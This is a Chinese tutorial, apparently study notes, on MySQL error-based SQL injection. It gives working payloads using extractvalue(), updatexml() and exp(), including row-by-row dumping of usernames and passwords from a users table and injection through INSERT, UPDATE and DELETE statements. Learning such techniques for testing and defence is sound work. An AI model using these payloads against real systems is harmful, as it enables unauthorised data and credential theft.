SQL报错注入
- 1.原理
- 2.报错注入函数
- 2.1 extractvalue()
- 2.2 updatexml()
- 2.3 exp()
- 2.4 floor()
- 3.利用流程
- 3.1 limit
- 3.2 substr()
- 4.利用报错注入--增删改查
- 4.1 insert类型
- 4.1.1 使用注释
- 4.1.2 使用闭合
- 4.1.3 多行注释
- 4.2 update类型
- 4.3 delete类型
1.原理
- 数据库的原始报错信息被直接打印在屏幕中
- extractvalue() 和 updatexml() 被传入不正常的字符格式,然后对非法的格式内容执行,返回非法输入内容执行后的结果
2.报错注入函数
2.1 extractvalue()
1.是一个对XML文档进行查询的函数
2.语法 extractvalue(目标XML文档,XML路径);
3.第二个参数XML中的位置是可操作的地方,xml文档中查找字符位置所用的 正确格式为 /xxx/xxx/xxx/… ;写入其他格式会报错,返回写入的非法格式内容执行后的结果
id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)))2.2 updatexml()
1.与 extractxml() 类似,是更新XML文档的函数
2.语法 updatexml(目标xml文档,xml路径,更新的内容)
3.报错方式与 extractvalue() 相同
id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1))2.3 exp()
id=1 and exp(~(select * from(select user())a))2.4 floor()
- 与虚拟表有关
3.利用流程
- 根据报错注入可以找库名,表名,列名(类似回显注入流程)
- 可以查找出数据库中具体值
3.1 limit
limit n,m -- 表示从第 n+1 行 读 m 个数据1、判断有几行数据
1' and (extractvalue(1,
concat(0x7e,
(select count(*) from users),
0x7e)
))--+2、逐行读取数据
and (extractvalue(1,
concat(0x7e,
(select concat(id,username,password) from users limit 0,1),
0x7e)
))--+3.2 substr()
- 字符截取函数
- 在SQL注入利用过程中,能判断页面输出的最大字符 ---- 有效数据
- 读取数据
1' and (extractvalue(1,
concat(0x7e,
(select
substr(group_concat(id,username,password),0,31)
from users ),
0x7e)
))--+
substr(str,a,b)
//str -- 被截取的字符串
//a -- 被截取的开始位置
//b -- 从开始位置往后截取的位数4.利用报错注入–增删改查
一般在注册框进行利用
4.1 insert类型
- 一般在注册框进行利用
- 经过测试,根据不同的场景进行注释闭合等,然后再提交payload
4.1.1 使用注释
- 增删改查时,利用报错函数进行数据的获取
- 由于’111’ 和 (extractvalue(1,(SELECT user()))) 的类型不一样,在拼接之前需要执行;就会返回报错信息
INSERT into login00 (name,password)
VALUES ('111' and (extractvalue(1,(SELECT user()))),'aaa') #4.1.2 使用闭合
- 当为字符型注入的时候,后面也需要闭合 111’闭合前面引号,'0 闭合后面引号
- 最后需要加上分号,表示这是一个完整的语句(也相当于闭合)
INSERT into login00 (name,password)
VALUES ('111' + (extractvalue(1,(SELECT user())))+'0','aaa');4.1.3 多行注释
- 以下这种插入形式,适合用多行注释
insert into login00 SET
name='aaa'+(extractvalue(1,concat(0x7e,(select user()),0x7e)))+'0',
password='1111';
/*,password='aaa'4.2 update类型
UPDATE login00 SET name=new-value1, password=new-value24.3 delete类型
DELETE FROM login00 where name=
'12' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))
-- 即使 login00 表中有符合条件(name='12')的数据,也不能将其删除;只能返回非法输入内容执行后的结果
DELETE FROM login00 where password='aaa' and 1=1 -- 可以删除指定数据
















